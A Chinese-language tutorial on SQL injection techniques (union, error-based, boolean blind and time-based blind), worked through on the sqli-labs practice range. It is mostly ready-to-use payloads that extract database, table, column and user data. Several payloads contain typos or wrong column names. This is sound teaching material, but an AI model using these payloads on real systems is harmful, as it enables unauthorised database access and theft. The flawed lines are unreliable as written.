联合查询和基于错误信息注入介绍少一点,主要讲解布尔盲注和时间盲注。
所有举例来自sqli-labs靶场

联合查询

使用联合查询,首先我们要先通过order by得到字段数。因为使用union函数进行查询时,union前面查询语句查询的元素与后面查询语句查询的元素要数量上一样,所以我们必需要知道前面语句查询了多少个元素。

用法和上一篇一样,改变union select 1,2,database()中union后面的内容就可以得到我们要的信息
sqli-labs第一关:

1
2
/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
#Group_concat会将(所有table_name)作为一个整体输出

请添加图片描述
因为通过修改注入命令,database(),version()等可以直接得到信息就不多举例了,可以自己多试试

基于错误信息注入

当页面有回显时,我们可以根据报错的消息猜解sql的查询语句,从而达到注入的目的

第三关:

1
http://127.0.0.1/sqli-labs-master/Less-3/?id=1'

加一个 ‘ 时我们可以看到报错中有’’1’’),
请添加图片描述

1
2
3
4
5
6
7
8
9
10

正常情况下sql的查询语句为
$sql="SELECT * FORM users WHERE id='$id' LIMIT 0,1";
但是这里多了一个括号,我们可以猜其为
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
那么我们在注入时就要闭合)我们要查询语句需要为:
$sql="SELECT * FROM users WHERE id=('1') union select 1,2,3--+') LIMIT 0,1";
于是我们注入为:
/?id=-1') union select 1,2,3--+

请添加图片描述当猜解了正确的sql语句后就可以利用联合查询来获取表名,内容等信息了
同样有的sql语句中会用 “ ” ,因此有报错时,要多利用报错信息。

布尔盲注

存在sql注入但是页面不会直接回显任何信息,只会返回正确和错误
布尔盲注就是利用返回的True或False来判断注入语句是否执行成功。它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。

特点:
1. 存在注入点。
2. 该页面或请求不会回显注入语句执行结果。
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息。

sqli-labs第五关:
对于初学者,可以先根据答案来尝试,掌握方法后再去实践。
建议学的时候对着答案来尝试,一个一个猜,刚开始会怀疑自己是不是方法有问题
我们首先在mysql中查看我们要爆破的数据:
请添加图片描述

1.首先通过length函数判断库名长度,8

1
2
3
4
5
/?Id=1’ and length((select database()))>7 --+
/?Id=1’ and length((select database()))>9 --+

/?Id=1’ and length((select database()))=8 --+
length函数可以获取长度,后面可以用> < =来判断

请添加图片描述
请添加图片描述

7时页面还是正常的,当>9时页面就不正确,所以得到数据库长度为8

2.通过substr函数获得数据库名,security

1
2
3
4
5
6
substr(参数a,参数b,参数c)截取字符串中的一个字符
a为字符串,b为起始位置,c为截取长度,substr(“security”,1,1)=’s’
/?Id=1’ and substr((select database()),1,1)=’s’--+
/?Id=1’ and substr((select database()),2,1)=’e’--+
.......
布尔盲注就是不断的尝试,学会了原理可以自己写脚本来完成,或者使用sqlmap

请添加图片描述

3.通过length和substr重复上面操作得到表名emails,referers,uagents,users

1
2
/?Id=1’	and	length((select	 group_concat(table_name)	from information_schema.tables where schema_name=’security’))>1--+得到长度
/?id=1’ and substr((select group_concat(table_name) from information_schema.tables where schema_name=’security’))=’e’--+得到表单名

4.再得到字段名 id,username,password

1
2
/?id=1’ and length((select group_concat(column_name) from information_schema.columns where table_name=’users’))>1--+
......

5.最后得到内容

1
/?Id=1’ and substr((select group_concat(username) from users))=’d’--+

时间盲注

布尔盲注返回值只有ture或false,而时间盲注只有一种返回。 但是页面返回的时间会有区别。

特点:
1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样
2. 不会回显注入语句执行结果
3. 不会显示报错信息
4. 符合盲注的特征,但不属于布尔型盲注

时间盲注的核心语句:

1
2
3
if(查询语句,sleep(5),1)
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n) 将程序挂起一段时间 n单位为秒

sqli-labs第九关
关于语句执行的时间我们可以在控制台的网络中查看。
首先我们就以数据库security长度为例:

1
2
3
1.我们用一个正确的一个错误查看相应时间:
/?id=1' and if(length(database())=8,sleep(5),1)--+
/?id=1' and if(length(database())=7,sleep(5),1)--+

请添加图片描述
请添加图片描述
这里我们看到为8的时候,为正确的,执行了sleep,响应时间明显的变长了。当为7时,语句错误,直接结束了,响应时间就很短。
到这里你应该可以想到接下来和布尔盲注差不多了

1.首先得到数据库长度

1
2
?id=1' and if(leng(database())=8,sleep(5),1)--+
这个8是不断尝试得到的,不是固定的。

2.通过substr猜解数据库名字

1
2
3
/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
/?id=1' and if(substr(database(),2,1)='e',sleep(5),1)--+
.........

3.猜解表名

1
2
/?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database())),sleep(5),1)--+
得到表长度

然后通过substr得到表名
请添加图片描述

4.猜解字段名

5.猜解内容

最后两步和上面操作类似。

结语

学完原理,你会发现布尔盲注和时间盲注想要一个一个去试,太费时间了,因此可以自己尝试编写脚本去完成,同样关于sql注入还有一个比较好用的工具大家可以去了解一下,sqlmap。
sqlmap的简单用法和思路可以看看文章:sqlmap的使用